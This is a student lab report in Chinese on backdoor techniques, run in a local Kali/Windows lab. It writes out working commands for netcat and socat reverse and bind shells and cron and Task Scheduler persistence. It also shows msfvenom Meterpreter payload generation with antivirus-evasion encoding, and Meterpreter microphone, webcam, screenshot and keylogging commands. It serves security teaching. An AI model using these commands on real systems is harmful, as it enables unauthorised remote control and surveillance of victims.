1. 程式人生 > >20165306 Exp2 後門原理與實踐

20165306 Exp2 後門原理與實踐

技術分享 out web hot erp 流程 常用 開始 cron

20165306 Exp2 後門原理與實踐

實驗內容

(1)使用netcat獲取主機操作Shell,cron啟動

(2)使用socat獲取主機操作Shell, 任務計劃啟動

(3)使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

(4)使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

基礎問題回答

(1)例舉你能想到的一個後門進入到你系統中的可能方式?

下載的軟件有後門

(2)例舉你知道的後門如何啟動起來(win及linux)的方式?

win:設置為開機自啟動

Linux:將木馬設為定時啟動

(3)Meterpreter有哪些給你映像深刻的功能?

竟然可以獲取目標主機音頻、攝像頭、擊鍵記錄等內容

(4)如何發現自己有系統有沒有被安裝後門?

安裝專門的殺毒軟件,實時防護,並定期檢測電腦安全情況


一、後門概念

  • 後門就是不經過正常認證流程而訪問系統的通道。

  • 相對狹義一點的後門的概念:後門特指潛伏於操作系統中專門做後門的一個程序,“壞人”可以連接這個程序,遠程執行各種指令,概念和木馬有重疊。

二、常用後門工具

關於netcat

又名nc、ncat,是一個底層工具,進行基本的TCP UDP數據收發。常被與其他工具結合使用,起到後門的作用。

(一)Win獲得Linux Shell

1.在Windows下使用ipconfig

查看本機IP為192.168.199.175

2.使用ncat.exe程序監聽本機的5306端口ncat.exe -l -p 5306

技術分享圖片

3.在Kali環境下,安裝ncat,使用nc指令的-e選項反向連接Windows主機的5306端口

nc 192.168.199.175 5306 -e /bin/sh

4.成功獲得Kali的shell,可運行任何指令,如ls

技術分享圖片

(二)Linux獲得Windows Shell

1.在Kali環境中使用ifconfig查看IP為192.168.95.136

2.使用nc指令監聽5306端口nc -l -p 5306

技術分享圖片

3.在Windows下,使用ncat.exe程序的-e選項項反向連接Kali主機的5306端口

ncat.exe -e cmd.exe 192.168.95.136 5306

4.Kali下可以看到Windows的命令提示

技術分享圖片

(三)使用nc傳輸數據

1.Windows下監聽5306端口ncat.exe -l 5306

2.Kali下連接到Windows的5306端口ncat 192.168.199.175 5306

3.建立連接之後,在Kali中輸入數據,按下回車,Windows中就可以顯示傳輸的數據了

技術分享圖片

三、Meterpreter

  • 後門就是一個程序。

  • 傳統的理解是:有人編寫一個後門程序,大家拿來用。

  • 一個平臺能生成後門程序。這個平臺把後門的基本功能(基本的連接、執行指令),
    擴展功能(如搜集用戶信息、安裝服務等功能),
    編碼模式,
    運行平臺,
    以及運行參數
    全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。

  • 接下來學習如何使用msfenom生成後門可執行文件,要生成的這個後門程序是Meterpreter。

  • 參數說明:

    • -p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode

    • -x使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中

    • -e 使用的編碼器,用於對shellcode變形,為了免殺

    • -i 編碼器的叠代次數。如上即使用該編碼器編碼5次

    • -b badchar是payload中需要去除的字符

    • LHOST是反彈回連的IP

    • LPORT 是回連的端口

    • -f 生成文件的類型

    • > 輸出到哪個文件

(一)使用netcat獲取主機操作Shell,cron啟動

1.在Windows系統下,監聽5306端口nc -l -p 5306

2.Kali下用crontab -e指令編輯一條定時任務,選擇編輯器3

技術分享圖片

3.按i進入插入模式,在最後一行添加52 * * * * /bin/netcat 172.168.199.175 5306 -e /bin/sh,意思是在每個小時的第52分鐘反向連接Windows主機的5306端口

技術分享圖片

4.當時間到了12:52時,此時已經獲得了Kali的shell,可以在Windows下輸入指令ls

技術分享圖片

(二)使用socat獲取主機操作Shell, 任務計劃啟動

socat

socat是ncat的增強版,它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options是可選項。
socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address代表其中的一個方向。所謂流,代表數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。

實驗步驟

1.搜索計算機管理任務計劃程序創建任務

常規任務名稱socat_5306

技術分享圖片

觸發器新建開始任務選擇工作站鎖定時確定

技術分享圖片

操作程序或腳本點擊瀏覽→選擇socat.exe的路徑→添加參數填寫tcp-listen:5306 exec:cmd.exe,pty,stderr,把cmd.exe綁定到端口5306,同時把cmd.exestderr重定向到stdout上→確定

技術分享圖片

2.創建完成之後,按Windows+L快捷鍵鎖定計算機,再次打開時,可以發現之前創建的任務顯示正在運行

技術分享圖片

3.在Kali下輸入socat - tcp:192.168.199.175:5306,這裏的第一個參數-代表標準的輸入輸出,第二個流連接到Windows主機的5306端口,此時可以發現已經成功獲得了一個cmd shell

技術分享圖片

(三)使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

1.Kali下輸入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.95.136 LPORT=5306 -f exe > 20165306_backdoor.exe生成後門程序

  • 註:這裏的IP地址為控制端IP,即Kali的IP

技術分享圖片

2.Windows下輸入ncat.exe -lv 5306 > 20165306_backdoor.exe,通過nc指令將生成的後門程序傳送到Windows主機上

技術分享圖片

3.Kali下輸入nc 192.168.199.175 5306 < 20165306_backdoor.exe

  • 註:這裏的IP地址為被控主機IP,即Windows的IP

技術分享圖片

Windows顯示連接成功

4.Kali下使用msfconsole指令進入msf控制臺

技術分享圖片

5.使用監聽模塊,設置payload,設置反彈回連的IP和端口

  • 註:set LHOST用的是Kali的IP,和生成後門程序時指定的IP相同

技術分享圖片

設置完成後,執行監聽

技術分享圖片

6.運行Windows下的後門程序20165306_backdoor.exe

技術分享圖片

7.此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell

技術分享圖片

(四)使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容

1.使用record_mic指令可以截獲一段音頻

技術分享圖片

2.先打開Windows相機功能,Kali下使用webcam_snap指令可以使用攝像頭進行拍照

技術分享圖片

3.使用screenshot指令可以進行截屏

技術分享圖片

4.使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄

技術分享圖片

四、遇到的問題

1.socat任務創建完成之後,按Windows+L快捷鍵鎖定計算機,再次打開時,發現之前創建的任務顯示準備就緒,而不是正在運行

技術分享圖片

解決:右擊→運行

2.使用MSF meterpreter生成可執行文件時IP地址輸錯

技術分享圖片

解決:控制端和被控主機不要弄混,控制端--Kali,被控主機--Windows

3.運行Windows下的後門程序20165306_backdoor.exe時顯示拒絕訪問

技術分享圖片

解決:關閉防火墻和實時保護

技術分享圖片

20165306 Exp2 後門原理與實踐